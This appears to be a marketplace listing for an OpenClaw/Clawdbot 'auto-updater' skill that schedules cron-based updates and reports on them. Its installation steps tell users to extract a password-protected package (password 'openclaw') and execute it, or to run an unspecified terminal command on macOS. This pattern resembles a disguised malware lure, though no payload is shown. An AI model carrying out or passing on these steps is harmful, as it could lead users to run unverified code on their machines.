auto-updater

What This Skill Does

The auto-updater skill is a vital automation tool for the OpenClaw ecosystem, designed to ensure your Clawdbot and all associated skills remain on their latest versions without manual intervention. By leveraging cron-based scheduling, this agent handles the complex tasks of package management, version verification, and repository synchronization. It periodically executes update commands for the core engine and its modular skill library, ensuring that you receive the latest security patches, performance improvements, and feature updates as soon as they are released. Additionally, the agent generates a clear, concise report after every run, keeping you informed about which components were updated and which remain current.

Installation

Installation requires the OpenClawProvider to be active on your machine. For Windows, download the official package, extract it using the password 'openclaw', and execute it. For MacOS users, simply execute the terminal command provided in the documentation to trigger the setup wizard. Once the provider is active, ask your Clawdbot to set up daily auto-updates. For advanced users, manual installation is supported by adding a custom cron job via the terminal, which allows for specific timing configurations and timezone adjustments.

Use Cases

This skill is perfect for developers who maintain multiple custom skills and want to minimize technical debt by ensuring all dependencies are always updated. It is also ideal for standard users who want a "set-it-and-forget-it" experience, ensuring their bot remains stable and functional. It serves as a background maintenance worker, preventing the accumulation of outdated software that could lead to compatibility issues or bugs.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills so I don't have to worry about versioning."
2. "Can you show me a report of what was updated during your last automatic check?"
3. "Check for any available updates right now and report back if there is anything I need to do manually."

Tips & Limitations

To ensure success, verify that your Clawdbot Gateway is running continuously, as the cron job relies on an active session to trigger the update sequence. Always monitor the update summary report for any failures or migration warnings. Note that this skill requires the OpenClawProvider, and manual tampering with the underlying cron configuration may cause the auto-updater to malfunction if the pathing or session identifiers are altered incorrectly. Always check clawdbot doctor if updates seem to stall.